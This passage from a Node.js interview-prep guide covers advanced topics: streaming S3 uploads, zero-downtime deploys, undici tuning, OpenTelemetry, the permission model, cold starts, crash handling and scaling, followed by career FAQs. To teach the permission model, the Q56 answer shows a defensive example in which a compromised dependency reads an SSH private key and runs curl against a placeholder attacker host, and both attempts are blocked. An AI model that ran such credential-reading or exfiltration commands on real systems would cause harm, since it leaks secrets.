[constants.NODE_PERFORMANCE_GC_MAJOR]: 'mark-sweep-compact',
[constants.NODE_PERFORMANCE_GC_INCREMENTAL]: 'incremental-marking',
};
new PerformanceObserver((list) => {
for (const e of list.getEntries()) {
metrics.histogram('gc.pause_ms', e.duration, {
kind: kinds[e.detail?.kind] ?? 'other',
});
}
}).observe({ entryTypes: ['gc'] });
// Alert heuristics that hold up in practice:
// scavenges > ~100/min -> allocation churn, or grow semi-space
// major GC p95 pause > 100ms -> live set too big / promotion storm
# Offline inspection:
# node --trace-gc server.js | one line per collection with sizes
# node --max-semi-space-size=64 server.js # fewer minor GCs, more RAM
Q51Design an endpoint that accepts a multi-GB file upload and lands it in S3 without exhausting memory.
AdvancedStreams
Answer
The failure to avoid is buffering: express.json or multer's default memory storage would hold the whole payload in RAM, so one 4 GB upload (or ten concurrent 400 MB ones) OOM-kills the pod. The design principle is that bytes must flow from the client socket to S3 with only small, bounded buffers in between, which means streams with backpressure at every hop. Parsing: for multipart/form-data, busboy parses the incoming request as a stream and hands you each file as a Readable without buffering it (multer's disk storage also avoids RAM but doubles I/O and needs ephemeral disk; direct streaming skips the detour).
Upload: S3 requires multipart upload for large objects, and @aws-sdk/lib-storage's Upload class wraps the orchestration: it consumes your Readable, cuts it into parts (partSize, minimum 5 MB), uploads queueSize parts concurrently, and retries failed parts individually; memory ceiling is roughly partSize times queueSize regardless of file size, which is the number to quote when asked 'how much RAM does this use?' (default around 5 MB times 4). Backpressure holds end to end: when S3 is slower than the client, lib-storage stops pulling, busboy stops reading the socket, and TCP flow control slows the sender. Correctness hardening for the follow-ups: enforce Content-Length and per-file size limits in busboy config (limits: { fileSize }) and abort the S3 upload on violation; validate MIME by sniffing initial bytes (file-type on the first chunk) rather than trusting headers; propagate client disconnects with an AbortController wired to req.on('close') so abandoned uploads do not keep paying for S3 traffic, and call upload.abort() to avoid orphaned multipart parts (plus an S3 lifecycle rule to expire incomplete multipart uploads as a safety net). At larger scale, mention the architectural sidestep: issue S3 presigned POST/PUT URLs and let clients upload directly, removing Node from the data path entirely, with the trade-off that server-side scanning and transformation then need an async pipeline behind S3 events.
import busboy from 'busboy';
import { S3Client } from '@aws-sdk/client-s3';
import { Upload } from '@aws-sdk/lib-storage';
const s3 = new S3Client({ region: 'ap-south-1' });
app.post('/upload', (req, res) => {
const bb = busboy({
headers: req.headers,
limits: { files: 1, fileSize: 5 * 1024 ** 3 }, // 5 GB cap
});
bb.on('file', async (name, fileStream, info) => {
const upload = new Upload({
client: s3,
params: { Bucket: 'user-media', Key: `raw/${crypto.randomUUID()}`,
Body: fileStream, ContentType: info.mimeType },
partSize: 8 * 1024 * 1024, // 8 MB parts
queueSize: 4, // ~32 MB memory ceiling, any file size
});
req.on('close', () => upload.abort().catch(() => {}));
fileStream.on('limit', () => upload.abort().catch(() => {}));
try {
const out = await upload.done();
res.json({ key: out.Key });
} catch (err) {
if (!res.headersSent) res.status(502).json({ error: 'upload failed' });
}
});
req.pipe(bb); // socket -> parser -> S3, bounded buffers throughout
});
Q52How do you achieve zero-downtime deploys of a Node service, from PM2 reload to Kubernetes rolling updates?
AdvancedProduction
Answer
Zero downtime means every in-flight request completes and every new request finds a healthy process, throughout the deploy. The mechanics differ by platform but the contract is identical: overlap old and new, drain the old gracefully, and gate traffic on real readiness. On a VM with PM2 (the classic Indian-startup deployment, GoodSpace's own backend included), pm2 reload app runs cluster-mode workers and cycles them one at a time: a replacement worker is started, PM2 waits for it to signal readiness, then sends SIGINT to one old worker, which must stop accepting connections (server.close()), finish in-flight work, and exit before kill_timeout forces it.
Two configuration details make or break it: wait_ready: true with the worker calling process.send('ready') only after the server is listening and dependencies are warm (otherwise PM2 swaps in a worker that 502s during boot), and listen_timeout/kill_timeout tuned to your slowest request. This works because cluster workers share the parent's listening socket, so old and new can accept on one port simultaneously; the same overlap can be built by hand with SO_REUSEPORT (reusePort in net/listen options on supporting platforms) letting two independent processes bind the same port during cutover. In Kubernetes, the rolling update does the choreography (maxSurge/maxUnavailable), and your job is the pod contract: a readinessProbe that only passes when truly able to serve (dependencies connected, caches warm), so traffic never routes to a booting pod; SIGTERM handling that flips readiness to failing, then drains (close server, finish requests, close pools) inside terminationGracePeriodSeconds; and a preStop sleep of a few seconds to absorb the endpoint-propagation race where kube-proxy still routes briefly to a terminating pod. Cross-cutting concerns that actually cause downtime when forgotten: long-lived connections (WebSockets must be told to reconnect, so send close frames on drain and make clients reconnect with backoff), database migrations must be backward-compatible for the overlap window (expand-and-contract pattern), and keep-alive sockets from load balancers need closeIdleConnections() plus keepAliveTimeout coordination so the LB does not reuse a dying socket.
// ecosystem.config.cjs (PM2 cluster, graceful cycle)
module.exports = { apps: [{
name: 'api',
script: 'dist/server.js',
instances: 'max',
exec_mode: 'cluster',
wait_ready: true, // swap only after worker says so
listen_timeout: 10_000,
kill_timeout: 15_000, // drain budget before SIGKILL
}]};
// server.js
const server = app.listen(3000, async () => {
await warmCaches();
if (process.send) process.send('ready'); // PM2 gate
});
process.on('SIGINT', async () => {
healthz.ready = false; // readiness flips first
server.close(() => process.exit(0));
server.closeIdleConnections();
await drainInFlight({ timeoutMs: 12_000 });
});
# k8s: readinessProbe /healthz/ready, preStop sleep 5,
# terminationGracePeriodSeconds: 30, strategy maxSurge 1 / maxUnavailable 0
Q53When do you drop from JavaScript to a native addon (N-API) or WebAssembly, and what are the trade-offs?
AdvancedPerformance
Answer
The honest first answer is 'later than you think': V8's JIT makes optimised JavaScript remarkably fast, and most 'Node is slow' problems are architectural (blocking the loop, chatty I/O, allocation churn) that native code will not fix. The legitimate triggers are: sustained CPU-bound work where profiling shows the hot loop is the algorithm itself (image codecs, compression, cryptography, ML tokenisation); reuse of an existing mature C/C++/Rust library rather than reimplementing it (libvips behind sharp, RocksDB, SQLite); and needing OS facilities JS cannot reach. The native path today is Node-API (N-API): an ABI-stable C interface, meaning compiled addons keep working across Node major versions without recompilation, which killed the old NAN-era pain of every upgrade breaking node_modules.
Almost nobody writes raw C against it in 2026: napi-rs (Rust) is the dominant authoring stack (swc, @napi-rs/canvas, much of the Rust-tooling wave ships through it), giving memory safety plus prebuilt binaries per platform via optionalDependencies so users never need node-gyp and a compiler toolchain. Costs to state plainly: every JS-to-native call pays a boundary-crossing overhead (batch work per call, or the FFI tax eats the win); native crashes are process crashes, segfaults with no stack trace your JS tooling understands; memory allocated natively is invisible to V8's GC (external pressure, and leaks that heap snapshots cannot see); and you own a per-platform build matrix (glibc vs musl for alpine images bites here). WebAssembly is the alternative with opposite trade-offs: sandboxed (cannot segfault the process), portable (one .wasm runs everywhere, no build matrix, works in browser too), instantiated from Rust/C/Go via wasm-bindgen or similar; but it cannot touch the OS directly (I/O must round-trip through JS or WASI), crossing the boundary has costs especially for strings, and peak throughput typically trails well-built native code. Decision rule to recite: existing native library or maximum performance with threads and SIMD, choose N-API via napi-rs; portable compute kernel, safety, or browser parity, choose WASM; and always benchmark against optimised JS first, because the boundary overhead has erased many 'obvious' wins.
Key Points
- Profile first: most slowness is architectural, not language-level
- N-API is ABI-stable; napi-rs + prebuilt binaries is the modern authoring path
- Native: fastest, but segfaults, GC-invisible memory, platform build matrix
- WASM: sandboxed and portable, but no direct syscalls, boundary costs
- Batch work per boundary crossing or the FFI tax eats the gain
Q54How do you tune undici for high-volume outbound HTTP, and why must every fetch response body be consumed?
AdvancedHTTP
Answer
A service making thousands of outbound calls per second (payment gateways, internal microservices, third-party APIs) lives or dies on connection management, and in Node that means undici, the engine behind global fetch. The unit of tuning is the dispatcher: an undici Agent holds a pool per origin with knobs set at construction: connections (max sockets per origin; the effective parallelism ceiling per upstream), pipelining (HTTP/1.1 pipelining depth; leave at 1 for servers that mishandle it), keepAliveTimeout and keepAliveMaxTimeout (how long idle sockets persist; must stay below the upstream's own idle timeout or you inherit the stale-socket race), headersTimeout and bodyTimeout (per-phase deadlines that catch upstreams which accept and stall, the failure mode plain connect timeouts miss). Install yours globally with setGlobalDispatcher(new Agent({...})) so every fetch in the process uses it, or pass dispatcher per request for per-upstream policies.
When fetch's WHATWG ceremony itself shows up in profiles, undici.request() is the faster raw API skipping spec overhead. The body rule is the production trap: undici returns a response as soon as headers arrive, while the socket remains dedicated to the unread body. Every code path that drops a Response without await res.json()/text()/arrayBuffer() or await res.body.cancel(), typically the error branch that checks !res.ok and throws immediately, pins a connection until timeout; under load the per-origin pool exhausts and every subsequent request queues, presenting as mysterious latency to one upstream while dashboards show it healthy.
Composed resilience completes the picture: undici interceptors (retry, redirect, dns caching interceptors ship in recent versions, or write your own to add auth headers and metrics) wrap the dispatcher cleanly; timeouts and cancellation come from AbortSignal.timeout / AbortSignal.any at call sites; and circuit-breaker state (opossum, or hand-rolled) belongs around each upstream so a dying dependency sheds load fast instead of consuming your pool. Instrument the dispatcher's events and queue depth: outbound saturation is invisible on inbound metrics until it has already caused an incident.
import { Agent, setGlobalDispatcher, request } from 'undici';
setGlobalDispatcher(new Agent({
connections: 128, // per origin
pipelining: 1,
keepAliveTimeout: 30_000, // < upstream idle timeout
headersTimeout: 5_000, // upstream accepted then stalled
bodyTimeout: 10_000,
}));
// The pool-exhaustion bug and its fix:
async function getRate(base) {
const res = await fetch(`https://fx.internal/rates/${base}`, {
signal: AbortSignal.timeout(3000),
});
if (!res.ok) {
await res.body?.cancel(); // WITHOUT this: socket pinned until timeout
throw new AppError('fx upstream error', { statusCode: 502 });
}
return res.json(); // consuming releases the connection
}
// Hot path without WHATWG overhead:
const { statusCode, body } = await request('https://fx.internal/health');
await body.dump(); // drain & discard efficiently
Q55How do you instrument a Node service with OpenTelemetry, and what is diagnostics_channel?
AdvancedObservability
Answer
OpenTelemetry is the vendor-neutral standard for traces, metrics, and logs, and its Node story has two layers. The batteries-included layer: @opentelemetry/auto-instrumentations-node patches http, Express, Fastify, pg, mysql2, ioredis, mongodb, kafkajs, undici/fetch, and dozens more via module hooking, producing spans for every inbound request and downstream call with no code changes. The critical operational detail is load order: instrumentation must hook modules before application code imports them, so it is activated via node --import @opentelemetry/auto-instrumentations-node/register (or --require for CJS), configured through environment variables (OTEL_SERVICE_NAME, OTEL_EXPORTER_OTLP_ENDPOINT, OTEL_TRACES_SAMPLER) and exported over OTLP to any backend: Jaeger, Tempo, Datadog, or SigNoz, the last being notably popular with Indian teams self-hosting observability.
Context propagates across services automatically via W3C traceparent headers, and within a process via AsyncLocalStorage, so a trace follows a request from your API through three internal services into Postgres. The manual layer: the @opentelemetry/api package for custom spans around business operations (tracer.startActiveSpan('settlement.batch', ...)), span attributes for tenant and order IDs, and span events for domain milestones; plus injecting traceId/spanId into every pino log line so logs and traces cross-link. diagnostics_channel is the underlying Node-core mechanism making low-overhead instrumentation possible: a built-in pub/sub API (node:diagnostics_channel) where core and libraries publish named events (undici publishes request lifecycle channels like undici:request:create; http, net, and a growing set of modules publish theirs) and any subscriber receives them with near-zero cost when nobody listens. It decouples instrumentation from monkey-patching: rather than wrapping library internals that break on every release, APM agents subscribe to stable channels.
You can use it directly too: subscribing to undici's channels to count outbound requests per origin, or publishing your own application channels that a metrics module consumes without importing your business code. Interview closer: sampling strategy matters at scale (head sampling via OTEL_TRACES_SAMPLER=parentbased_traceidratio, or tail sampling in the collector to keep all error traces), because tracing every request at 10k RPS is a cost problem.
# Zero-code auto-instrumentation (load order via --import):
OTEL_SERVICE_NAME=payments-api \
OTEL_EXPORTER_OTLP_ENDPOINT=http://otel-collector:4318 \
OTEL_TRACES_SAMPLER=parentbased_traceidratio \
OTEL_TRACES_SAMPLER_ARG=0.1 \
node --import @opentelemetry/auto-instrumentations-node/register dist/server.js
// Custom business span + log correlation:
import { trace } from '@opentelemetry/api';
const tracer = trace.getTracer('payments');
async function settleBatch(batchId) {
return tracer.startActiveSpan('settlement.batch', async (span) => {
span.setAttribute('batch.id', batchId);
try { return await runSettlement(batchId); }
catch (err) { span.recordException(err); throw err; }
finally { span.end(); }
});
}
// diagnostics_channel: count outbound calls without patching undici
import dc from 'node:diagnostics_channel';
dc.subscribe('undici:request:create', ({ request }) => {
metrics.increment('outbound.requests', { origin: request.origin });
});
Q56What can the Node permission model restrict, and where does it fit in a defence-in-depth strategy?
AdvancedSecurity
Answer
The permission model inverts Node's historic stance that any executed code may do anything the OS user can. Launching with the --permission flag denies, by default, filesystem access, child-process spawning, worker-thread creation, and native-addon loading; you then grant back only what the application needs: --allow-fs-read=/app,/tmp and --allow-fs-write=/tmp with path granularity, --allow-child-process, --allow-worker, --allow-addons. Violations throw ERR_ACCESS_DENIED with the attempted resource, and code can introspect grants at runtime via process.permission.has('fs.read', '/etc/passwd').
The threat it addresses is precisely the npm supply-chain reality: a compromised transitive dependency in a typical API server has no business reading ~/.ssh, spawning curl, or loading a native module, and under --permission those actions fail loudly even though the JS is running inside your process. Fitting it honestly into defence-in-depth is what distinguishes a senior answer. It is one layer, not a sandbox: everything in-process shares the same permissions, so it cannot protect your database URL environment variable from a malicious dependency (env access is not gated), cannot isolate plugin code from app code (use worker isolation or separate processes for that), and network access control is not part of the model's guarantees, so exfiltration over HTTPS remains possible; the model's own documentation is explicit that it is not a substitute for OS-level controls.
Layer it with: containers running non-root with read-only root filesystems, seccomp/AppArmor profiles, egress network policies (the actual counter to exfiltration), --ignore-scripts at install time (the permission model governs runtime, not npm install), and minimal dependency trees. Practical adoption notes: tools that legitimately spawn or read broadly (some APM agents, bundlers under dev) need explicit grants, so introduce the flag in staging and iterate on the allowlist from the ERR_ACCESS_DENIED log lines; and pin your understanding to 'recent Node versions' since the flag matured across releases (earlier spellings used --experimental-permission).
# Deny-by-default; grant only what the service needs:
node --permission \
--allow-fs-read=/app,/app/node_modules \
--allow-fs-write=/tmp \
dist/server.js
// A compromised dependency trying to phone home with your keys:
import fs from 'node:fs';
try {
fs.readFileSync('/home/node/.ssh/id_rsa');
} catch (err) {
console.log(err.code); // ERR_ACCESS_DENIED
}
import { execSync } from 'node:child_process';
try {
execSync('curl https://evil.example/collect');
} catch (err) {
console.log(err.code); // ERR_ACCESS_DENIED (no --allow-child-process)
}
// Runtime introspection:
console.log(process.permission.has('fs.write', '/tmp')); // true
console.log(process.permission.has('fs.write', '/app')); // false
Q57A Node service takes 8 seconds to boot, hurting autoscaling. How do you attack cold-start time?
AdvancedPerformance
Answer
Slow boot hurts exactly when you need speed: scale-out under a traffic spike, crash-restart during an incident, serverless cold starts. Diagnose before optimising: boot time decomposes into process+runtime start (tens of milliseconds, rarely the problem), module graph load (require/import of your code plus node_modules: frequently seconds, the usual culprit), and initialisation work (DB connections, cache warming, config fetches, crypto setup). Measure with node --cpu-prof during boot or coarse timestamps around phases.
Attacks, in effect order. Shrink and flatten the module graph: heavyweight SDK imports dominate many profiles (a full AWS SDK v2 import versus modular v3 clients is a classic multi-second delta); import submodules not barrels, kill dead dependencies (npx knip finds them), and lazy-load rarely-used paths with dynamic import() at first use (the admin-report code nobody hits at boot). Bundling collapses thousands of file stats and reads into one file: esbuild-bundled servers routinely cut module-load time dramatically, which is why serverless deployments bundle by default.
Use the compile-cache: module.enableCompileCache() (Node 22.8+, or the NODE_COMPILE_CACHE env var) persists V8 bytecode across restarts so subsequent boots skip parse+compile of unchanged code, a free win for redeploy-heavy fleets and one of the least-known recent features. Defer non-critical init: listen first, warm caches and non-essential connections behind a readiness gate, so the pod serves (or fails fast) sooner; keep TLS/DB handshakes concurrent with Promise.all rather than sequential awaits. Runtime-level options when the ceiling matters: single-executable applications and snapshot-adjacent features are evolving (V8 startup snapshots via --build-snapshot for specialised CLIs), and at serverless platforms provisioned concurrency sidesteps the problem with money.
Also check the boring suspects: synchronous config fetches to remote services at import time, accidental source-map processing in production (--enable-source-maps has a cost on huge bundles), and ts-node-style on-the-fly transpilation that belongs in dev only. State the target: API pods should boot to ready in well under two seconds; if autoscaling still lags, pair the work with a small warm-replica buffer.
// 1) Measure phases before optimising:
const t0 = performance.now();
await import('./app.js');
console.log('modules', performance.now() - t0);
// 2) Compile cache: bytecode persists across restarts (Node 22.8+)
import { enableCompileCache } from 'node:module';
enableCompileCache(); // or NODE_COMPILE_CACHE=/var/cache/node
// 3) Modular SDK imports, not barrels:
// import AWS from 'aws-sdk'; // seconds of load
import { S3Client } from '@aws-sdk/client-s3'; // just what you use
// 4) Lazy-load cold paths at first hit:
app.get('/admin/report', async (req, res) => {
const { buildReport } = await import('./reports/heavy.js');
res.send(await buildReport());
});
// 5) Parallel init behind a readiness gate:
const server = app.listen(3000);
Promise.all([db.connect(), redis.connect(), warmRules()])
.then(() => { healthz.ready = true; });
# Bundle the server for one-file module load:
# esbuild src/server.ts --bundle --platform=node --outfile=dist/server.js
Q58Should a Node process keep running after an uncaughtException? Defend your answer.
AdvancedProduction
Answer
No, and the ability to defend this against pushback ('but restarts drop requests!') is what the question tests. When an exception reaches process.on('uncaughtException'), some stack unwound in an uncontrolled way: locks may be held, a partial write may sit in a socket, an in-memory state machine may be mid-transition, a DB transaction may be dangling. The Node documentation is unambiguous that resuming normal operation after uncaughtException is unsafe, comparing it to yanking the power cord: the handler exists for synchronous cleanup and logging, not for continuing.
The correct production pattern: log the error with full context (this is the moment structured logging pays for itself), flush telemetry, optionally mark the process unready so the load balancer stops routing to it, begin a fast graceful drain with a short hard deadline, and exit non-zero; PM2, systemd, or Kubernetes restarts you into a known-good state within seconds. The 'keep running' counterargument dissolves under inspection: the requests you 'save' by continuing execute in a corrupted process, risking wrong answers rather than errors, and wrong answers in a payments or ledger context are catastrophically worse than a blip of 503s that retries absorb. Related mechanisms to demonstrate depth: process.on('uncaughtExceptionMonitor') observes crashes without changing behaviour, the right hook for telemetry-only concerns; unhandled promise rejections already crash by default on modern Node, aligning both error classes; the deprecated domains module and the old cluster-worker-suicide pattern are historical context, replaced today by orchestrator restarts plus load balancing; and setUncaughtExceptionCaptureCallback exists but shares the same 'do not resume' caveat.
The systemic half of the answer: crashes must be cheap. That means more than one replica, fast boot (see cold-start work), health checks that detect the restart, retry-with-backoff in clients for idempotent operations, and crash-loop alerting so a recurring exception pages a human instead of silently restart-cycling. Engineering the system so that killing a process is safe is the actual senior skill; once it is, every argument for limping onward disappears.
let crashing = false;
process.on('uncaughtException', (err, origin) => {
if (crashing) return;
crashing = true;
// 1) Log with everything you have (sync-safe logger path):
logger.logError(err, 'uncaughtException', null, { origin });
// 2) Stop taking traffic, drain briefly, then die:
healthz.ready = false;
server.close(() => process.exit(1));
server.closeIdleConnections();
// 3) Hard deadline: never linger in a corrupted state
setTimeout(() => process.exit(1), 3000).unref();
});
// Telemetry-only observation, no behaviour change:
process.on('uncaughtExceptionMonitor', (err) => {
metrics.increment('process.crash', { name: err.name });
});
// The unsafe anti-pattern interviewers want you to reject:
// process.on('uncaughtException', () => { /* swallow and continue */ });
Q59Your Node service behind an AWS ALB throws intermittent 502s under steady traffic. Walk through the diagnosis and the keepAliveTimeout fix.
AdvancedProduction
Answer
This is one of the most common real Node production incidents, and interviewers use it to separate engineers who have operated services from those who have only built them. Symptoms: low-single-digit-percentage 502 Bad Gateway responses from the load balancer, uncorrelated with deploys or traffic spikes; application logs show nothing, because the affected requests never reach your handlers. Mechanism: the ALB maintains keep-alive connections to your Node targets and reuses them for subsequent requests.
Node's http server closes idle keep-alive sockets after server.keepAliveTimeout, which defaults to 5 seconds, while the ALB's idle timeout defaults to 60 seconds. Since Node's timeout is shorter, there is a recurring race: Node decides an idle socket is dead and sends FIN at the same moment the ALB picks that socket for a new request; the request lands on a closing connection, the ALB gets a TCP RST, and having already committed the request to that connection it returns 502 to the client (some variants surface as ECONNRESET on the LB side). The fix is an ordering rule: the upstream (Node) idle timeout must exceed the downstream (ALB) idle timeout, so the LB always closes first and never reuses a socket Node is closing.
Concretely: server.keepAliveTimeout = 65000 against a 60-second ALB, and, critically on Node's http stack, server.headersTimeout must be set above keepAliveTimeout (for example 66000), because headersTimeout also ticks while a kept-alive socket waits between requests and a lower value reintroduces the same premature-close race, a subtlety that historically bit many teams even after they 'applied the fix'. The same rule generalises across every hop: nginx keepalive_timeout versus its upstreams, CloudFront to ALB, kube-proxy and service meshes; whoever is closer to the client must give up on idle sockets first. Verification closes the loop: reproduce by lowering keepAliveTimeout to a second or two under a keep-alive load test (autocannon with connection reuse) and watch 502s appear, apply the fix and watch them vanish; in production, ALB access logs distinguish target-side connection errors, and a packet capture shows the RST-after-FIN signature. Also mention the graceful-shutdown cousin: during deploys, closeIdleConnections() plus draining prevents the same stale-socket 502s at pod termination.
const server = app.listen(3000);
// ALB idle timeout: 60s (default). Node must outlast it:
server.keepAliveTimeout = 65_000;
// MUST exceed keepAliveTimeout or the race comes back:
server.headersTimeout = 66_000;
// Sanity: requestTimeout (whole-request cap) stays generous
// and applies to active requests, not idle keep-alive gaps.
// Reproduce before/after with connection reuse:
// npx autocannon -c 100 -d 120 -k http://target/health
// With keepAliveTimeout=2000 you will see intermittent 502s
// in the ALB metrics; with 65000 they disappear.
// Same ordering rule at every hop:
// client -> CDN -> ALB(60s) -> nginx(65s) -> node(70s)
// each layer's idle timeout longer than the one in front of it
Q60How would you architect a Node.js API for 10,000+ requests per second?
AdvancedArchitecture
Answer
Structure the answer in layers, quantifying as you go, because the interviewer is grading your decomposition as much as the tools. Process topology: one Node process saturates one core, so 10k RPS means horizontal multiplication: cluster/PM2 across cores per host, replicas across hosts behind a load balancer; at roughly 1-2k RPS per process for a JSON API doing real work, budget 8-16 processes and verify with load tests, not folklore. Framework and serialisation: Fastify over Express buys meaningful throughput on JSON-heavy paths largely via schema-compiled serialisation (fast-json-stringify), and payload discipline (small responses, pagination, no accidental double-serialisation) matters as much as the framework choice.
Event-loop hygiene is the multiplier on everything: p99 loop lag on dashboards, no synchronous fs/crypto/JSON-megablob work on the request path, CPU work in worker pools, and per-route timeouts so slow upstreams fail fast instead of accumulating. The database is almost always the real ceiling: connection pools sized deliberately with PgBouncer/RDS Proxy multiplexing the fleet, read replicas for read-heavy traffic, and Redis cache-aside on hot keys with request coalescing (in-flight de-duplication) so a cache miss under thundering herd triggers one upstream query, not ten thousand; single-digit-millisecond Redis hits are what make 10k RPS cheap. Push work off the request path: BullMQ/Kafka for anything not needed in the response, which converts spikes into queue depth instead of latency.
Outbound calls: tuned undici pools, circuit breakers per upstream, budgeted retries with jitter (retry storms sink more fleets than original failures). Edge: CDN for cacheable GETs (an aggressive CDN layer can absorb a large fraction of traffic before it touches Node), rate limiting at the gateway, and keep-alive timeout ordering across every hop. Kernel/platform details that show operational depth: raised file-descriptor limits, SO_REUSEPORT or LB-level distribution to avoid accept contention, container CPU limits that do not throttle GC threads, and NODE_ENV=production.
Finally, observability as a design input: RED metrics per route, event-loop lag and GC pause histograms, distributed traces sampled tail-first for errors, and continuous load testing in CI against p99 SLOs, because at this scale regressions ship silently and 10k RPS is only ever proven, never assumed. Blueprints in this shape run at Indian scale daily: flash-sale checkouts, payment webhooks at month-end salary cycles, food-delivery lunch peaks.
Key Points
- Horizontal process math first: ~1-2k RPS/process, verify by load test
- Fastify + schema-compiled JSON serialisation on hot paths
- Event-loop lag as a first-class SLO; workers for CPU
- PgBouncer + replicas + Redis cache-aside with request coalescing
- Queues absorb spikes; circuit breakers + jittered retries outbound
- CDN and gateway rate limiting before traffic reaches Node
- fd limits, keep-alive ordering, GC-aware CPU limits
- Continuous load testing against p99 SLOs in CI
Frequently Asked Questions
How much does a Node.js developer earn in India in 2026?
The broad band is ₹8-25 LPA for mid-to-senior backend engineers with Node as their primary stack. Freshers at service companies (TCS, Infosys, Wipro) start around ₹4-7 LPA, while product companies and GCCs (Razorpay, Swiggy, CRED, PayPal, Walmart Global Tech) offer ₹12-20 LPA at 2-4 years of experience. Engineers who pair Node with system design, TypeScript, Kubernetes, and observability skills cross ₹30 LPA at senior levels, and staff engineers at well-funded fintech and commerce companies go well beyond that. The salary spread within 'Node developer' is wide precisely because the skill ceiling is: someone who can diagnose event-loop stalls and memory leaks in production is paid very differently from someone who can wire Express routes.
How long should I prepare for a Node.js interview?
With 1-2 years of working experience, 3-4 focused weeks is realistic: one week on the runtime model (event loop, streams, buffers, module systems) until you can predict output-ordering puzzles cold, one week on production topics (memory, profiling, graceful shutdown, Docker, pooling), one week building and load-testing a small service that exercises those ideas, and a final week of mock interviews and system-design practice. Freshers should budget 6-8 weeks and lean harder on JavaScript fundamentals first, since many 'Node' rejections are actually closures, promises, and this-binding failures. The highest-leverage single habit is reproducing what you read: run the ordering snippets, trigger a heap OOM on purpose, watch backpressure with a slow consumer. Interviewers can tell within minutes who has done this.
What do interviewers expect from freshers versus experienced Node developers?
Freshers are tested on the runtime model and JavaScript honesty: event-loop phases, promises versus callbacks, CommonJS versus ESM, what blocks the loop, plus one small build-an-API exercise. Nobody expects production war stories, but hand-waving 'Node is non-blocking' without being able to say why fs.readFileSync is dangerous fails the screen. At 2-4 years the bar shifts to production competence: streams with backpressure, worker threads versus child processes, memory-leak diagnosis, graceful shutdown, connection pooling, and testing strategy, usually probed through 'tell me about a time this broke' questions. At 5+ years expect architecture and trade-off interrogation: scaling to thousands of RPS, zero-downtime deploys, observability design, and the judgement to say when Node is the wrong tool. The consistent thread at every level is depth over breadth: one topic you can go five questions deep on beats ten you can define.
Is Node.js still worth learning in 2026, given Deno and Bun?
Yes, and by a wide margin for employment purposes. Node runs an enormous share of production backend JavaScript, and Indian job listings for Node outnumber Deno and Bun listings overwhelmingly; every major Indian product company and GCC hires for it continuously. The competition has also made Node better: the pressure from Deno and Bun accelerated native TypeScript execution, the built-in test runner, watch mode, and permission flags landing in Node itself, which narrowed the gap that made the alternatives attractive. Bun is worth an afternoon to understand (its speed claims and Node-compatibility mode come up in interviews as a curiosity question), and Deno's security model is intellectually useful context for Node's permission flags. But as a career investment, deep Node plus TypeScript remains the highest-return backend JavaScript skill, and everything you learn about the event loop, streams, and V8 transfers to the other runtimes anyway.
Node.js vs Java Spring Boot for backend careers in India: which should I pick?
Both sustain strong careers in India, and the honest differentiator is the kind of company you want. Spring Boot dominates banking, insurance, and large-enterprise backends, with deep hiring at service majors and captives, and rewards patience with very stable senior demand. Node dominates startups, fintech, commerce, and real-time products (chat, delivery tracking, payment webhooks), where its I/O model and shared language with frontend teams shorten iteration loops; Razorpay, Swiggy, CRED, and most of the funded startup ecosystem interview heavily for it. Compensation at the top end is comparable; what differs is the path: Node gets you into product companies faster at the 1-4 year mark, while Java's enterprise base offers more volume of openings at the entry level. If you already know JavaScript from frontend work, Node is the pragmatic choice; learning both eventually, plus the architectural patterns that transfer between them, is what staff-level careers are built on.
Do I need TypeScript to get hired as a Node.js developer?
Increasingly yes for product companies. The large majority of serious Node codebases started or migrated in recent years use TypeScript, NestJS and modern Express templates assume it, and 'Node.js + TypeScript' is effectively one job requirement in most Bengaluru, Pune, and Gurgaon product listings. Interviews reflect this: expect questions on typing async code, generics in service layers, and now on Node's native type-stripping support, which makes running TypeScript directly a runtime feature rather than purely build tooling. That said, TypeScript knowledge cannot substitute for runtime understanding: types disappear at execution time, and the event loop, streams, and memory questions in this guide are unchanged by them. The efficient path is learning them together: write every practice project in TypeScript with strict mode on, and let tsc catch the bugs while you focus your attention on how Node actually behaves under load.
Introduction
Node.js interviews in 2026 look very different from the ones five years ago. Nobody is impressed that you can spell 'non-blocking I/O' anymore. Interviewers at Razorpay, Swiggy, Flipkart, and the global capability centres of PayPal and Walmart now probe whether you actually understand the event loop's phases, why a stray synchronous JSON.parse of a 50 MB payload takes down every request on the process, how backpressure works in streams, and what happens to an unhandled promise rejection in a modern Node runtime. The platform itself has also moved fast: a built-in test runner, native fetch via undici, watch mode, --env-file, worker threads, permission flags, and TypeScript type stripping have all landed in recent LTS lines.
The hiring bar splits cleanly by seniority. Freshers and 1-2 year engineers are tested on module systems (CommonJS versus ESM), the event loop, streams, buffers, error handling, and npm hygiene. Mid-level candidates get grilled on worker_threads versus child_process, memory leak hunting with heap snapshots, graceful shutdown, connection pooling, and Docker packaging. Senior rounds go straight to production war stories: intermittent 502s behind a load balancer, event-loop starvation under traffic spikes, zero-downtime deploys, and instrumenting a fleet of services with OpenTelemetry. Indian product companies pay ₹8-25 LPA for engineers who can hold their own across these layers, and noticeably more for those who can debug V8 memory behaviour from a heap snapshot.
This guide contains 60 Node.js interview questions arranged from basic through intermediate to advanced, and every technical answer names the exact APIs, flags, and error messages you will be expected to know: node:test, AsyncLocalStorage, monitorEventLoopDelay, --max-old-space-size, UV_THREADPOOL_SIZE, server.keepAliveTimeout, and more. Work through the basic section to make your fundamentals airtight, then spend most of your prep time on the intermediate and advanced sections, because that is where offers are actually decided. Each answer explains not just the mechanism but the production failure mode behind it, which is what separates a memorised answer from a convincing one.
Ready to practice Node.js interviews?
Don't just read, practice these Node.js questions live with an AI interviewer that asks follow-ups and scores your answers.